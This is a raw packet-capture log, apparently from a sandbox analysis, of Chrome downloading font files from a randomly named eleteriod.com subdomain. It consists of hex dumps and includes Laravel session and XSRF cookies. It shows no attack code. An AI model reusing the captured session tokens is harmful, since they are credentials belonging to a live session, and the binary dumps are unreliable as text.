2024-05-22 18:02:06 UTC	13740	IN	Data Raw: 6f 72 22 2c 74 68 69 73 2e 6f 6e 65 72 72 6f 72 2e 62 69 6e 64 28 74 68 69 73 29 29 2c 43 74 28 74 2c 22 63 6c 6f 73 65 22 2c 74 68 69 73 2e 6f 6e 63 6c 6f 73 65 2e 62 69 6e 64 28 74 68 69 73 29 29 5d 7d 7d 7d 2c 7b 6b 65 79 3a 22 61 63 74 69 76 65 22 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 21 21 74 68 69 73 2e 73 75 62 73 7d 7d 2c 7b 6b 65 79 3a 22 63 6f 6e 6e 65 63 74 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 6e 65 63 74 65 64 7c 7c 28 74 68 69 73 2e 73 75 62 45 76 65 6e 74 73 28 29 2c 74 68 69 73 2e 69 6f 2e 5f 72 65 63 6f 6e 6e 65 63 74 69 6e 67 7c 7c 74 68 69 73 2e 69 6f 2e 6f 70 65 6e 28 29 2c 22 6f 70 65 6e 22 3d 3d 3d 74 68 69 73 2e 69 6f 2e 5f 72 65 61 64 79 53 Data Ascii: or",this.onerror.bind(this)),Ct(t,"close",this.onclose.bind(this))]}}},{key:"active",get:function(){return!!this.subs}},{key:"connect",value:function(){return this.connected\|\|(this.subEvents(),this.io._reconnecting\|\|this.io.open(),"open"===this.io._readyS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.17	59893	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:06 UTC	1400	OUT	GET /23tBEhtKGMgm89BkdRhzvw70 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l6agz47874.eleteriod.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:08 UTC	620	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:08 GMT Content-Type: font/woff Content-Length: 36696 Connection: close Content-Disposition: inline; filename="23tBEhtKGMgm89BkdRhzvw70" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=46NRdX0XMTrPqWRUusMXl%2FlcEClQl7MlPL7oKvZ9pRcO%2FbeGkcnwvC4UCuUB8DBY9v2a9oZqxBwD6GZUj%2BUWlbNnU85plnrrPUDsLwG0uprMnYxoEdLIUZS9e%2FCoug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb71def4e5e7e-EWR
2024-05-22 18:02:08 UTC	749	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 8f 58 00 11 00 00 00 01 36 90 00 01 00 00 00 00 8e 30 00 00 01 28 00 00 02 97 00 00 00 00 00 00 00 00 44 53 49 47 00 00 8e 28 00 00 00 08 00 00 00 08 00 00 00 01 47 50 4f 53 00 00 01 80 00 00 18 99 00 00 5e 3e 80 e1 18 da 47 53 55 42 00 00 1a 1c 00 00 02 ad 00 00 04 96 8c 33 79 b9 4f 53 2f 32 00 00 1c cc 00 00 00 46 00 00 00 60 68 60 7b 5a 63 6d 61 70 00 00 1d 14 00 00 05 1a 00 00 07 3c 97 3f 2b 12 63 76 74 20 00 00 87 b0 00 00 00 30 00 00 00 3c 28 d6 01 ad 66 70 67 6d 00 00 87 e0 00 00 05 c1 00 00 0b e2 3f ae 1b 9f 67 61 73 70 00 00 87 a8 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 22 30 00 00 54 6c 00 00 a0 68 11 94 2e 2b 68 65 61 64 00 00 76 9c 00 00 00 34 00 00 00 36 1a bb 7d da 68 68 65 61 00 00 76 d0 00 00 00 Data Ascii: wOFFX60(DSIG(GPOS^>GSUB3yOS/2F`h`{Zcmap<?+cvt 0<(fpgm?gaspglyf"0Tlh.+headv46}hheav
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 20 67 2a 4d a7 b7 68 2e cd a3 c5 b4 94 96 51 21 7d 42 c5 b4 9a d6 51 09 6d a4 4d b4 85 b6 52 1d 35 2a bf 4a 55 69 2a a8 f2 55 5f 35 40 5d ae ae 50 57 aa 81 ea 2a 35 48 0d 56 57 ab 6b d4 b5 ea 3a 35 44 5d af 6e 50 23 d4 18 35 56 3d a9 c6 a9 a7 d4 78 f5 b4 9a a0 9e 57 2f a8 89 ea 45 35 49 bd 04 8a 4e 56 53 d4 54 d0 75 ba 9a a1 5e 55 33 d5 5f d4 1b ea 6d 35 47 2d 50 8b d5 12 55 a8 8a d4 47 6a 95 2a 56 ab d5 a7 6a 8d 5a ab d6 a9 f5 6a a3 da 42 4a bd ca 5f 50 77 ca e3 30 f5 e2 66 2a 00 8f 96 71 13 95 f0 71 35 96 f7 aa 27 b9 46 3d 4d 49 6a 02 37 a8 e7 91 5e e0 66 f5 22 87 d5 4b 5c a1 a6 70 48 4d 43 de 74 a4 57 b9 5a cd 42 7a 9d eb d5 6c 94 2b c6 b3 b5 d4 85 ce 01 65 7c a0 8d 0f b5 1e a5 42 3e 8e 9a 0f a9 31 a8 61 2c f5 44 ed 45 6a 1c e5 a8 a7 28 a8 c6 93 4f 3d Data Ascii: gMh.Q!}BQmMR5JUiU_5@]PW5HVWk:5D]nP#5V=xW/E5INVSTu^U3_m5G-PUGjVjZjBJ_Pw0fqq5'F=MIj7^f"K\pHMCtWZBzl+e\|B>1a,DEj(O=
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c d7 5a b0 1a e9 53 d4 8f 5e 2b 44 95 6a 23 d2 56 cd 69 60 9a 05 8c 2c 48 45 12 da 1b 83 de 2a b5 1c 12 aa 5c 49 a8 43 cf ab 5d 39 3a 6c ee 2c 91 23 94 c2 73 4d 5d 0b 3c b2 0c 7d d2 9d a7 f0 54 bd 78 ab a3 2d 42 73 e5 bc c7 db 28 69 e8 49 1d e1 0e 9b 78 fb 40 7a 88 ee 43 9c 7c 14 3c 48 e2 30 b0 b0 50 3e 85 9b 00 90 39 66 ae e7 1a 5c eb d4 44 Data Ascii: -:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<ZS^+Dj#Vi`,HE*\IC]9:l,#sM]<}Tx-Bs(iIx@zC\|<H0P>9f\D
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 ae cc 6c 1f 3c b0 de 37 67 8f 01 8f 00 b7 9a d8 75 4d ae b4 25 0e 6d c9 3b f6 1e 10 a1 d8 5e b4 54 8d f4 85 ec 5f 3c c5 11 ab 67 ec 5a a7 77 cc a0 be 2e da da c8 b5 a6 d6 49 b3 93 c6 2e d5 d8 b6 7c b8 e5 6a 65 1e 2d 26 9e 73 c6 8d ba d7 72 11 33 17 78 ea 78 9b f2 7a bd 63 8f e7 be d6 9e 05 06 7e 56 cb f9 53 af e7 75 f5 d5 9d 99 42 1f ab c8 Data Ascii: Vd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:Al<7guM%m;^T_<gZw.I.\|je-&sr3xxzc~VSuB
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf e2 c4 e7 7f 04 5b 89 fb 43 d1 f2 e2 8e f9 8e da 56 c1 9e 6f 30 cf f6 9d de 6c 27 de 0b c0 7b d6 e9 55 03 53 4b 46 dc 79 a3 06 ef de 88 a8 16 bc 71 e4 0e 89 15 da 90 f5 76 e5 3d e8 ed 4d d4 ea 96 2f 6e 44 fe 1c 6c c5 94 f8 6b ab a2 c9 2d f7 76 46 bc 59 93 3b f7 a7 ef 8b f8 9d f6 c6 98 ed e4 57 23 a6 aa 8e b6 ef 90 f6 da d6 77 95 44 d1 53 09 Data Ascii: m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI[CVo0l'{USKFyqv=M/nDlk-vFY;W#wDS
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf d2 91 9c 1c ff 24 a0 b5 74 03 28 ab 50 d3 19 48 fd dd 73 92 b9 b3 ef 75 3a 07 ba da 43 fe 97 ef 7c e8 aa 4f 56 06 94 bc d9 1f cf 73 64 9d f3 76 48 59 7f c1 aa 7f 14 a8 36 41 d7 e4 40 ff 56 a1 ad 12 49 1e 7c e3 bd 13 0b dd 4d fe 39 2e 24 0b f4 68 03 2c 03 29 2e f8 0c e8 9a fc a0 71 2a 24 40 ff 3b e4 b9 b8 d6 2b d1 67 02 ce 36 d7 f9 22 1f bd Data Ascii: xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg$t(PHsu:C\|OVsdvHY6A@VI\|M9.$h,).q*$@;+g6"
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 Data Ascii: c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2c?uIs
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 ce 7a b1 ff 71 ec 9f 37 82 ee f0 43 77 d6 a3 32 e1 06 3f f4 99 35 07 ca 67 99 f7 a1 fc 9d 50 be 0f 13 ca c4 30 53 2d d9 2e 88 c7 84 7e cc 00 53 f9 46 86 65 09 e9 8c 67 99 12 71 1c e1 0e f2 42 e5 e1 61 be 9a 68 7d 58 4c 78 4c 48 90 26 d4 37 34 31 42 05 cd d2 e8 52 c3 b0 9f af 42 e9 ef ef e7 eb 89 f5 3a 94 9a 87 d3 d3 62 f4 3a 35 4a cd 10 7f Data Ascii: }_c/H_)wVRB%*30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-zq7Cw2?5gP0S-.~SFegqBah}XLxLH&741BRB:b:5J
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f 6f fc a4 ec ad c9 78 79 1f 9d 93 83 99 54 4b 12 0b 76 02 99 91 c5 a9 bf 11 b4 36 5b cb d8 4d ff be 9a a0 00 4d b0 6f b0 4e 3d cd 57 09 52 85 60 06 06 51 8d 8c 84 e9 16 f4 06 30 58 9e 7d b9 85 f7 df 83 ba 5f 10 1e 67 15 ac 70 e7 22 7a b2 f3 d1 f5 d3 05 c3 d1 fb ce 1f 12 04 f6 ee ee 1f c5 58 d7 e3 55 d6 fd c0 ec a5 87 85 c7 b6 f6 f6 0e 0a be Data Ascii: EE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?oxyTKv6[MMoN=WR`Q0X}_gp"zXU
2024-05-22 18:02:08 UTC	1369	IN	Data Raw: 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 61 54 6b 6f 99 e5 62 75 53 ae 29 61 46 48 99 b1 47 a8 5a 59 5b d6 17 45 d8 15 d2 5b 98 91 13 6d 98 9e 99 4d e6 2c a1 8a ce 59 09 c4 8f 57 20 c4 c6 c5 42 3f e2 52 e2 72 d2 99 8f 8e 3e 6d 19 58 10 76 dd 69 88 0e 0c f0 d3 78 7b b9 2a 99 04 94 60 d7 9d 64 90 39 ce 6a 0a a5 82 fc df 8e 4b 47 9b 7b e3 a6 f8 4f 09 1c 20 73 dd fd cf ff e0 dc c5 92 32 5d 71 74 62 a6 25 Data Ascii: LefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}aTkobuS)aFHGZY[E[mM,YW B?Rr>mXvix{*`d9jKG{O s2]qtb%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.17	59894	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:09 UTC	1410	OUT	GET /90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71 HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://l6agz47874.eleteriod.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpqu Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjQ5YldhWitWK2N4dUkvSmFlV2k1aFE9PSIsInZhbHVlIjoiT2JEQkl6dmUrMTJQWEc4T1NUTGFra3VCUkIxRmNqSUVwR3BXZmpXa3IzdTBGNHZQWXcyV2dkLzhkNlFVUVhIN3ZRekcrYWJVaGtkcGV6RTNoMWxvWlFWaVFGN254dGNJeGdaV2ZranFFalJGdVhIQVZmV01LcXBpU3pOYXlZZkciLCJtYWMiOiIzYzE5MmU0Y2NjOGUwMDNlYjFjNTljMjBkODIyZjhiZTFkYjM3NDZmN2RkMGVkOThlZDljMTU2MjU3NjQzY2E4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlIvY0dKQTVkSzFXY0JhVkZvWEc2SGc9PSIsInZhbHVlIjoiUEZDUDNKTlFxdnNPOEZhTDN2dnpGbnFhSXlNR2s1dE9OM21FMGY3MnlHUTdOOFNtMWZtek1xWUFmbUJqOW9FMlppZzlSeUZzUjNHS3ljNUwyTGV0bkYvNXRscVY5OU9hZ0o2U0MxSGZsRjBZaHh0aXY5NFAxTHN0WjZLYXNTTksiLCJtYWMiOiJhOGRjYmMwYmFiOGRlNjU5NTFlYzgzYmViZjQ5ODU0MzUyMDBhNzZjMmU0MGNlYjlmNzRjNTU1NGMwZGRjNTU2IiwidGFnIjoiIn0%3D
2024-05-22 18:02:11 UTC	635	IN	HTTP/1.1 200 OK Date: Wed, 22 May 2024 18:02:11 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="90FwFNCSlKcg1gKnc9avIcdQUX4h1cyz71" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=faXHGhnNCjTCaCQyIAvustEg1zuBEzy9x2C6BK3Ic0%2BTuzbFFMkHCh4SFkF%2BRJj5QRt%2B%2FykV%2Bib9aQGAjaUnaIrWgMhQ7AUPI97XHZlBjBDZMf7hWgyVo%2FNEmnhgxQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 887eb72faae4729b-EWR
2024-05-22 18:02:11 UTC	734	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<yRe
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 5e e9 ec bf 1e 69 44 96 e1 11 7d 20 8c 8e 20 be ec 62 a6 ec fc 7d 44 49 76 75 d1 71 04 88 0f d8 6b cb 96 34 d2 0c f7 cc 14 40 c0 10 ce d5 ff 50 2a b0 b0 6a dc ed 89 29 f7 ec 94 27 df 4c 97 eb 89 c9 c2 ae b3 dc b1 62 e0 85 52 51 6a 49 2a 49 9b b4 51 6b da 54 ae 6c fa 5f 77 4f 0f d0 92 24 cb 1f e8 08 21 63 cc 2e 25 cb 7b 80 95 5f 4e 90 02 45 40 fc 00 0d 92 41 b0 da 9d f9 3f 9c ee 9a d9 61 57 0b 79 99 67 66 9d 67 1b 26 45 bc 0c f7 20 7e 88 78 f0 62 c5 cc 83 05 b5 62 c1 82 85 7e f8 a7 d6 f4 ef 1e 66 2f 80 a8 0a 1e d0 47 8a 82 b3 9d 4a 1b 36 b2 79 fe b3 df fa 0e 7a 45 40 54 9c 61 aa 30 5e 55 6c f6 df cf 06 00 fc 53 3a c3 bf 92 2c 03 9e 7d 04 1b 42 ec 52 a7 a8 52 74 7e b7 76 d1 85 00 ba 4c 3a 60 34 c1 49 4b 41 1c e6 bd a7 56 a3 ca b1 b7 78 26 40 a1 1f 8f 68 a8 Data Ascii: ^iD} b}DIvuqk4@Pj)'LbRQjIIQkTl_wO$!c.%{_NE@A?aWygfg&E ~xbb~f/GJ6yzE@Ta0^UlS:,}BRRt~vL:`4IKAVx&@h
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: b1 ee b6 3e d8 2e 6d d7 b6 39 fb 46 fb 99 7d 9e 5d 57 72 91 73 73 4b bc 1c 72 12 ba 1e 36 36 7c 33 22 22 2a 2a 26 26 21 c1 e1 10 c5 bc bc 32 65 90 3a 76 de b1 83 76 d7 75 c7 d1 ff bd fa ef 37 7f f3 ee 97 3e fc ec d3 2f 3e 0d 7f 59 f7 9d e0 41 40 40 00 c8 82 05 10 40 c9 06 6a 8b 76 3f a2 63 04 fc cf bf 1a e0 05 82 e1 03 a0 ae 09 a0 0b f4 c0 a3 aa 1c 80 71 5b ad cd 01 38 80 ba 26 50 ed 76 16 e9 84 82 9d 77 d3 ef ac 8c 5b 06 e0 52 8b 81 00 1e 2c a6 f3 af 20 bc 4c 15 e0 d4 43 23 d6 51 35 b8 91 3c 4e 8d af 4d f0 9a f0 ff 89 98 49 1e c3 96 a1 ef 1e ef ae 41 39 d4 0e be a1 72 98 1c b4 98 29 ef a4 9e 40 7d 80 28 93 fa a9 ef 70 df d3 54 b5 e2 d5 ba 81 b2 f7 81 f6 10 fa 79 c4 7a c4 26 c4 11 70 a2 46 71 8f 62 7e 37 d0 ca bd 8a d4 e0 c1 fc fb 48 b3 d9 1f 86 2f e5 9b Data Ascii: >.m9F}]WrssKr66\|3""**&&!2e:vvu7>/>YA@@@jv?cq[8&Pvw[R, LC#Q5<NMIA9r)@}(pTyz&pFqb~7H/
2024-05-22 18:02:11 UTC	1369	IN	Data Raw: 3f 2a 25 ab 11 e4 13 01 e9 44 ae 3d cb 5b 69 7e db 22 51 70 ef 63 32 39 e9 64 71 a7 b5 30 b6 01 15 1a 29 e2 db ce 53 01 4b 24 89 db 11 9c 91 10 7d 9c ef d5 0f e1 38 11 2a 9e 08 b1 c6 95 68 36 08 c4 a8 a2 b4 98 b5 21 8e 45 d0 71 24 18 a7 83 42 25 37 a3 0f 52 82 02 89 71 3b a6 33 e3 76 a8 96 c5 96 00 31 78 04 a8 30 14 19 d5 19 35 da 35 a1 cc 49 64 7a 77 af a4 2d 6a 48 d5 f9 10 15 85 2c 13 a3 9e f6 44 fc 18 de 56 cd 85 7c a5 47 ac 97 c9 a3 b9 57 e1 c4 0a 96 52 70 14 1b 9d cf 6b 27 9f a5 fa bd 08 79 02 2c 96 02 20 16 9d 4d 88 68 fb d6 4a 21 21 6d b6 8c 58 80 8a 4a bd a3 a3 79 25 a6 aa 2e 1a 3d c6 77 60 74 91 90 6a 2a 81 e2 98 32 ad 42 a4 cf 75 c9 16 1c 25 3d 79 6f 32 9f 8e cf 45 7e e6 05 e8 4e 24 f2 4f 2c 8e ab 2d 9c 9c 76 49 bb eb d8 5e de eb 78 af d8 0e f9 Data Ascii: ?%D=[i~"Qpc29dq0)SK$}8h6!Eq$B%7Rq;3v1x055Idzw-jH,DV\|GWRpk'y, MhJ!!mXJy%.=w`tj*2Bu%=yo2E~N$O,-vI^x
